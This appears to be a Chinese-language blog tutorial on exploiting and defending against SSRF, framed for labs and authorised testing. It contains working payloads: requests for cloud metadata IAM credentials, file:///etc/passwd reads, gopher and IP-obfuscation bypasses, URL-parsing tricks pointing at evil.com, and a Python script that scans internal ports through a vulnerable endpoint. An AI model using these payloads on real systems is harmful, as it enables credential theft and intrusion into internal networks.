SSRF 漏洞利用与内网探测思路

一、前言

SSRF,全称 Server-Side Request Forgery,服务端请求伪造。它的核心是:攻击者可以让服务端代替自己去请求某个 URL。

如果服务端能访问内网资源,而外部攻击者不能直接访问,那么 SSRF 就可能成为进入内网信息面的入口。

本文总结 SSRF 的发现、验证、利用和防护思路,仅用于靶场和授权测试环境。

二、SSRF 常见场景

SSRF 常出现在需要服务端主动请求 URL 的功能中,例如:

  • 图片远程加载
  • 在线截图
  • URL 预览
  • Webhook
  • 文件下载
  • PDF 转换
  • 头像抓取
  • RSS 订阅
  • 云存储资源导入

常见参数名:

1
2
3
4
5
6
7
8
9
10
url
uri
link
src
target
image
callback
webhook
redirect
download

看到这些参数时,可以优先判断服务端是否会发起请求。

三、漏洞验证

1. 外部回连验证

最直接的验证方式是让服务端请求自己的监听地址,例如:

1
http://your-vps:8000/test

在 VPS 上监听:

1
python3 -m http.server 8000

如果收到来自目标服务器的请求,说明服务端确实发起了请求。

2. DNS 解析验证

如果 HTTP 响应看不到,可以使用 DNSLog:

1
http://xxxx.dnslog.cn

只要 DNSLog 平台收到解析记录,就说明服务端至少进行了 DNS 查询。

3. 回显型 SSRF

如果接口会把服务端请求结果返回给用户,就属于回显型 SSRF。例如:

1
/fetch?url=http://example.com

返回页面内容,说明可以进一步读取内网 HTTP 服务。

4. 盲 SSRF

如果没有内容回显,但能通过 DNSLog 或访问日志确认请求,就属于盲 SSRF。盲 SSRF 通常用于:

  • 探测内网端口是否开放。
  • 触发内网服务请求。
  • 访问云元数据服务。

四、内网探测思路

SSRF 的一个重要价值是探测内网服务。

常见内网地址:

1
2
3
4
5
6
127.0.0.1
localhost
0.0.0.0
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

常见端口:

1
2
3
4
5
6
7
8
9
10
11
22    SSH
80 HTTP
443 HTTPS
3306 MySQL
6379 Redis
8080 Web 管理端
9200 Elasticsearch
11211 Memcached
5000 Flask
8000 Django
2375 Docker API

测试示例:

1
2
3
4
http://127.0.0.1:80
http://127.0.0.1:8080
http://172.17.0.1:2375
http://10.0.0.1:80

如果是回显型 SSRF,可以根据响应内容判断服务类型。如果是盲 SSRF,可以根据响应时间、状态差异、DNSLog 或错误信息判断。

五、云元数据利用

云服务器环境中,元数据服务是 SSRF 的高危目标。

常见地址:

1
http://169.254.169.254/

在云环境中,该地址可能返回实例信息、临时凭据或角色信息。

常见路径示例:

1
2
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

真实测试中必须确认授权范围,不要对非授权云环境进行探测。

防护重点:

  • 禁止服务端访问 169.254.169.254
  • 云厂商启用 IMDSv2 或等效防护。
  • 最小化实例角色权限。

六、协议利用

部分 SSRF 支持不同协议:

1
2
3
4
5
6
file://
dict://
gopher://
ftp://
http://
https://

如果支持 file://,可能读取本地文件:

1
file:///etc/passwd

如果支持 gopher://,可能构造原始 TCP 请求访问内网服务。

很多现代框架和防护会禁用这些协议,但测试时仍然值得确认。

七、绕过技巧

1. IP 变形

某些过滤只拦截字符串 127.0.0.1,可以尝试:

1
2
3
4
http://localhost
http://127.1
http://0177.0.0.1
http://2130706433

2. DNS 重绑定

如果服务端先校验域名,再请求域名,可能存在 DNS Rebinding 风险。

思路:

1
2
第一次解析为公网 IP 通过校验
第二次解析为内网 IP 发起请求

3. URL 解析差异

不同语言和库对 URL 的解析可能不同,例如:

1
2
3
http://127.0.0.1@evil.com
http://evil.com#127.0.0.1
http://evil.com?url=http://127.0.0.1

测试时要关注后端到底使用哪个库解析 URL。

八、自动化探测脚本思路

简单的 SSRF 内网端口探测可以这样设计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

target = "http://target/fetch"
hosts = ["127.0.0.1", "localhost", "172.17.0.1"]
ports = [80, 8080, 3306, 6379, 9200, 2375]

for host in hosts:
for port in ports:
url = f"http://{host}:{port}"
try:
r = requests.get(target, params={"url": url}, timeout=5)
print(host, port, r.status_code, len(r.text))
except Exception as e:
print(host, port, "error", e)

这个脚本只适合授权环境中初步判断响应差异,不能对未知目标乱扫。

九、真实风险

SSRF 可能造成:

  • 读取内网管理后台。
  • 探测内网端口。
  • 访问云元数据获取临时凭据。
  • 调用内网 API。
  • 访问未授权 Redis、Docker API 等服务。
  • 配合其他漏洞形成内网突破口。

红队中,SSRF 的价值往往不只是读一个页面,而是作为外网到内网的桥。

十、防护建议

1. 白名单限制

只允许访问业务明确需要的域名:

1
2
允许 cdn.example.com
禁止用户提交任意 URL

2. 禁止访问内网地址

拦截:

1
2
3
4
5
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16

注意要在 DNS 解析后检查最终 IP。

3. 限制协议

只允许:

1
2
http
https

禁止:

1
2
3
4
file
gopher
dict
ftp

4. 网络隔离

服务端请求组件应运行在受限网络环境中,不能访问核心内网、数据库、云元数据和管理后台。

5. 响应控制

  • 不直接回显完整响应。
  • 限制响应大小。
  • 设置请求超时。
  • 禁止跟随跳转到内网地址。

十一、总结

SSRF 是红队中非常重要的 Web 漏洞,因为它能把攻击视角从外网扩展到服务端可访问的网络。

分析 SSRF 时可以按这个顺序:

1
2
3
4
5
6
7
找 URL 参数
-> 验证服务端请求
-> 判断是否有回显
-> 探测本机和内网服务
-> 检查云元数据
-> 尝试协议和解析绕过
-> 总结风险和修复建议

写进博客时,建议重点体现“从一个 URL 参数到内网探测”的完整思路,这比单纯贴几个绕过 payload 更能体现红队能力。